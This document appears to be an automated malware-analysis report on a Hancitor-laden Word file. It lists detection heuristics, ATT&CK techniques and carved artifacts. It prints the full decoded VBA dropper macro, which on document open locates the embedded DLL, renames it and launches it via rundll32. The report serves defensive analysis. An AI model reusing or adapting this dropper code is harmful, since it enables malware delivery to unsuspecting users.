MALICIOUS
530
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1203 Exploitation for Client Execution
The sample contains a VBA macro with a Document_Open auto-execution routine. This macro attempts to execute a DLL named 'omsh.dll' using 'rundll32.exe'. The macro also embeds and extracts a PE executable, identified by ClamAV as Win.Packed.Hancitor-9909883-0. The presence of ShellExecute, VirtualAlloc, VirtualProtect, LoadLibrary, and GetProcAddress API calls, along with the embedded executable and the ClamAV signature, strongly indicate a malicious payload delivery mechanism.
Heuristics 14
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Office EPRINT stream contains EMF object high OLE_EPRINT_EMF_OBJECTOLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
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ClamAV: Win.Packed.Hancitor-9909883-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Packed.Hancitor-9909883-0
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Embedded PE executable critical OLE_EMBEDDED_EXEMZ/PE header found inside document — possible embedded executable
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Reference to ShellExecute API high SC_STR_SHELLEXECReference to ShellExecute API
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Reference to LoadLibrary API high SC_STR_LOADLIBRARYReference to LoadLibrary API
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Reference to GetProcAddress API high SC_STR_GETPROCADDRESSReference to GetProcAddress API
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Ole10Native package carries executable/script file type high OFFICE_PACKAGE_RISKY_FILEOLE Package displayName or fullPath ends in an executable or script-capable extension. Even without UI extension spoofing, embedding a runnable payload inside an Office document is a high-risk delivery pattern.
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Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set vbvcx = CreateObject("Scripting.FileSystemObject") -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOCReference to VirtualAlloc API
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Reference to VirtualProtect API medium SC_STR_VIRTUALPROTECTReference to VirtualProtect API
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 4
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2064 bytes |
SHA-256: 32d4782c1de3ef1d5ccba8fb22777ead1c5a8d3e66f743e83e296bf991dbbc7c |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
Private Declare PtrSafe Function gc Lib "shell32" _
Alias "ShellExecuteA" (ByVal hwnd As Long, _
ByVal lpOperation As String, ByVal lpFile As String, _
ByVal lpParameters As String, ByVal lpDirectory As String, _
ByVal nShowCmd As Long) As Long
Dim hdv As String
Private Sub Document_Open()
Dim vcbc As String
Dim bbbb As String
bbbb = "rundl"
vcbc = Options.DefaultFilePath(wdUserTemplatesPath)
If Dir(vcbc & "\omsh.dll") = "" Then
Call yyy
Call hdhdd
If Len(hdv) > 2 Then
Call nam(hdv)
Dim cvzz As String
cvzz = "l32"
gc 0, vbNullString, _
bbbb & cvzz, vcbc & "\omsh.dll,GYNRVUGKJUT", _
vbNullString, 1
End If
End If
End Sub
Sub hdhdd()
Dim usx
usx = Options.DefaultFilePath(wdTempFilePath)
Dim vbvcx As Object
Set vbvcx = CreateObject("Scripting.FileSystemObject")
Call Search(vbvcx.GetFolder(usx), hdv)
End Sub
Sub yyy()
Selection.MoveDown Unit:=wdLine, Count:=3
Selection.MoveRight Unit:=wdCharacter, Count:=2
Selection.MoveDown Unit:=wdLine, Count:=3
Selection.MoveRight Unit:=wdCharacter, Count:=2
Selection.TypeBackspace
Selection.Copy
End Sub
Attribute VB_Name = "Module1"
Sub nam(pafs As String)
Dim uu As String
uu = Options.DefaultFilePath(wdUserTemplatesPath)
Name pafs As uu & "\omsh.dll"
End Sub
Sub Search(mds As Object, pafs As String)
Dim Nedc As Object
For Each Nedc In mds.SubFolders
Search Nedc, pafs
Next Nedc
Dim Ters As Object
For Each Ters In mds.Files
If Ters.Name = "omh.dll" Then
pafs = Ters
End If
Next Ters
Exit Sub
ErrHandle:
Err.Clear
End Sub
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embedded_office_0008f46e.exe |
embedded-pe | Office MZ+PE at offset 0x8F46E | 625554 bytes |
SHA-256: e21e3a71250dae2b0d897eedb86c87c22ae3eb6d2a36c1e3c6575ca23b22e34c |
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Detection
ClamAV:
Win.Packed.Hancitor-9909883-0
Obfuscation or payload:
likely
Carved macro source contains an auto-exec entry point and execution/download terms.
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ole10native_00.bin |
ole-package | OLE Ole10Native stream: ObjectPool/_1685312660/Ole10Native | 592172 bytes |
SHA-256: 1ff1aaea1047cd530c26f4323a8f53f552ac2f0603bd0bb4dcb0211c239058d4 |
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Detection
ClamAV:
Win.Packed.Hancitor-9909883-0
Obfuscation or payload:
unlikely
|
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ole10native_00_omh.dll |
ole-package-payload | OLE Ole10Native payload: ObjectPool/_1685312660/Ole10Native; display_name=omh.dll; full_path=C:\Users\MyPc\AppData\Local\Temp\omh.dll; temp_path=; def_file= | 591872 bytes |
SHA-256: 93adbff8c5a654cd74f0b3fc714d15ca9699e89edcb713b35119ca3f132ae748 |
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Detection
ClamAV:
Win.Packed.Hancitor-9909883-0
Obfuscation or payload:
unlikely
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